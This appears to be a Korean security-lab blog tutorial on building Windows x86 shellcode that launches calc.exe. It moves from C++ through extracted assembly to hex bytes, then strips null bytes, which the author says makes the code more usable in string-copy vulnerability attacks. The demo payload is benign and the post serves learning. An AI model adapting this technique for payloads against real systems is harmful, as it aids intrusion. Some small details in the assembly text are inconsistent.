Iriton's log

Visual Studio 이용하여 ShellCode 제작 본문

Security Lab

Visual Studio 이용하여 ShellCode 제작

Iriton 2023. 12. 4. 17:50

계산기를 띄우는 쉘 코드 제작 과정

 

필요한 것

windows OS

stdafx.h와 windows.h 헤더 파일 (해당 포스트 맨 아래에 첨부)

stdafx.cpp 파일 (해당 포스트 맨 아래에 첨부)

디버거

Visual Studio

stdafx.cpp
0.00MB
stdafx.h
0.00MB
targetver.h
0.00MB

순서

1. C++로 calc.exe 실행 코드 작성

2. 어셈블리어

3. Hex 값

4. Null Byte 제거

 

1단계, C++로 calc.exe 실행 코드 작성

#include "stdafx.h"
#include "windows.h"

int main(int argc, char* argv[])
{
	char cmd[5] = { 'c','a','l','c','\x0' };
	WinExec(cmd, SW_SHOW);
	ExitProcess(1);

}

cmd 변수에 실행하고 싶은 exe 파일의 이름을 작성한다.

널바이트 (\0)까지 저장할 수 있게 파일 이름+1 크기만큼의 공간이 필요하다.

 

이를 이용하면 .exe 앞의 이름을 아는 모든 프로그램일 실행 시킬 수 있다.

 

cmd명령어로 calc인 계산기가 실행이 된다.

 

2단계, 어셈블리어

브레이크는 코드 옆 회색 부분을 클릭하면 해당 줄에 red dot으로 표시된다.

해당 코드의 메인 함수에 브레이크를 걸어두고

 

 

디버깅(F5)을 한 뒤 ctrl+alt+d를 누르면 어셈블리 코드가 나온다.

이를 복사해서 필요한 부분만 추출한 뒤 __asm{} 안에 어셈블리어를 넣으면 똑같이 실행된다.

 

필요한 부분은 char cmd[5]에 calc을 저장하는 부분과

 

cmd로 실행시키는 부분,

그리고 종료 시키는 부분이다.

 

얘만 무턱대고 복사하면 정상적으로 실행되지 않는다.

프로그램 전체가 아닌, 부분적으로 추출해오는 거기 때문에 세부적인 것들은 변경이 필요하다.

(앞에 선언된 레지스터나 스택 등이 유기적으로 연결되어야 정상 실행되는 건데 부분 추출의 경우 우리 입맛대로 변경해야 한다.)

 

기존 어셈블리어

 mov         byte ptr [cmd],63h  
 mov         byte ptr [ebp-0Fh],61h  
 mov         byte ptr [ebp-0Eh],6Ch  
 mov         byte ptr [ebp-0Dh],63h  
 mov         byte ptr [ebp-0Ch],0  

 mov         esi,esp  
 push        5  
 lea         eax,[cmd]  
 push        eax  
 call        dword ptr [__imp__WinExec@8 (06B004h)]  
 cmp         esi,esp  
 call        __RTC_CheckEsp (061235h)
 
 mov         esi,esp  
 push        1  
 call        dword ptr [__imp__ExitProcess@4 (06B000h)]  
 cmp         esi,esp  
 call        __RTC_CheckEsp (061235h)

 

 

수정 어셈블리어

 mov         byte ptr [ebp-5],63h  
 mov         byte ptr [ebp-4],61h  
 mov         byte ptr [ebp-3],6Ch  
 mov         byte ptr [ebp-2],63h  
 mov         byte ptr [ebp-1],0  
  
 push        5  
 lea         eax,[ebp-5]  
 push        eax  
 mov         eax, {WinExec 함수 주소}
 call        eax
 
 push        1
 mov         eax, {ExitProcess 함수 주소}
 call 		 eax

char cmd[5] 부분

이때 첫 ptr[] 값은 ebp-5부터 시작하여 edp-1까지 calc 문자열의 문자를 하나씩 넣어준다.

ebp-5인 이유는 총 문자 개수가 5개이기 때문에 현재 베이스 포인터에서 -5 지점에서부터 문자열을 저장해 주는 것이다.

 

WinExec(cmd, SW_SHOW)

lea 명령어로 eax에 ebp-5의 주소를 저장한다.

그래야 eax를 스택에 저장한 후 WinExec 함수를 실행할 때 불러와서 어떤 프로그램을 실행시킬지 알 수 있기 때문이다.

WinExec 함수 주소는 아래 방법으로 찾으면 된다.

1. 디버거에서 해당 실행파일 로드 후 함수 주소 검색

2. [View] - [Executable modules]

3. kernel32.dll 우클릭 후 View names 클릭

4. [Names in kernel32] 창에서 해당 함수 주소 찾기

맨 왼쪽에 있는 게 주소이다.

해당 주소는 실행 환경마다, 부팅 할 때마다 다르기 때문에 확인이 필요하다.

 

 

{} 대신 해당 주소로 바꾸고 전체 코드를 짜봤다.

 

#include "stdafx.h"
#include "windows.h"

int main(int argc, char* argv[])
{
	__asm {
             mov         byte ptr [ebp-5],63h  
             mov         byte ptr [ebp-4],61h  
             mov         byte ptr [ebp-3],6Ch  
             mov         byte ptr [ebp-2],63h  
             mov         byte ptr [ebp-1],0  

             push        5  
             lea         eax,[ebp-5]  
             push        eax  
             mov         eax, 0x7714EDB2
             call        eax

             push        1
             mov         eax, 0x7711BBE2
             call 		 eax
	}
}

주소를 적을 때는 16진수란 걸 명시해 주기 위해 앞에 0x를 적어야 한다.

그리고 디버거가 실행되고 있다면 끄고 빌드를 해야 된다.

 

 

3단계, Hex 값

2단계와 비슷한 과정을 거친다.

 

디스어셈블리 창에서 바이트 코드 체크박스를 선택해 주면 16진수 기계어 코드가 보인다.

"\xC6\x45\xFB\x63"  
"\xC6\x45\xFC\x61"
"\xC6\x45\xFD\x6C"
"\xC6\x45\xFE\x63"
"\xC6\x45\xFF\x00"
"\x6A\x05"
"\x8D\x45\xFB"
"\x50"
"\xB8\xB2\xED\x14\x77"
"\xFF\xD0"
"\x6A\x01"
"\xB8\xE2\xBB\x11\x77"
"\xFF\xD0"

이를 메모장에 옮긴 후 더블쿼츠()안에 넣어준 후 16진수 앞에 \x를 붙여주면 16진수 쉘 코드가 된다.

#include "stdafx.h"
#include "windows.h"

char shellcode[] = "\xC6\x45\xFB\x63"  
"\xC6\x45\xFC\x61"
"\xC6\x45\xFD\x6C"
"\xC6\x45\xFE\x63"
"\x33\xDB"
"\x88\x5D\xFF"
"\x6A\x05"
"\x8D\x45\xFB"
"\x50"
"\xB8\xB2\xED\x14\x77"
"\xFF\xD0"
"\x6A\x01"
"\xB8\xE2\xBB\x11\x77"
"\xFF\xD0";

int main(int argc, char* argv[]) {
	int* shell = (int*)shellcode;
	__asm {
		jmp shell
	};
}

변수에 저장한 후 포인터를 생성한 후 해당 주소로 jmp 하면서 계산기가 실행된다.

 

4단계, 널 바이트 제거

널바이트인 \x00이 존재하면 문자열 복사 계열 함수 취약점 공격이 어렵다. 이를 제거하여 공격활용도를 높이도록 한다.

cmd 문자열 다음에 0을 넣는 과정에서 발생하는 것으로 해당 레지스터를 0으로 미리 처리하면 된다.

 

xor ebx, ebx

mov byte ptr [ebp-1], ebx

위 코드로 ebx 0으로 초기화 후 ebp-1 주소에 넣어 주는 것으로 바꿀 수 있다.

 

해당하는 기계어 코드는 아래와 같다.

"\x33\xDB"
"\x88\x5D\xFF"

 

최종 코드

#include "stdafx.h"
#include "windows.h"

char shellcode[] = "\xC6\x45\xFB\x63"  
"\xC6\x45\xFC\x61"
"\xC6\x45\xFD\x6C"
"\xC6\x45\xFE\x63"
"\x33\xDB"
"\x88\x5D\xFF"
"\x6A\x05"
"\x8D\x45\xFB"
"\x50"
"\xB8\xB2\xED\x14\x77"
"\xFF\xD0"
"\x6A\x01"
"\xB8\xE2\xBB\x11\x77"
"\xFF\xD0";

int main(int argc, char* argv[]) {
	int* shell = (int*)shellcode;
	__asm {
		jmp shell
	};
}

 

'Security Lab' 카테고리의 다른 글

Stack BOF - RET Overwrite  (1) 2023.12.04
Stack Overflow 실습  (3) 2023.11.20
[Reversing] 지뢰찾기 무적 승리/디버거 메모리 주소 조작  (1) 2023.11.01
Comments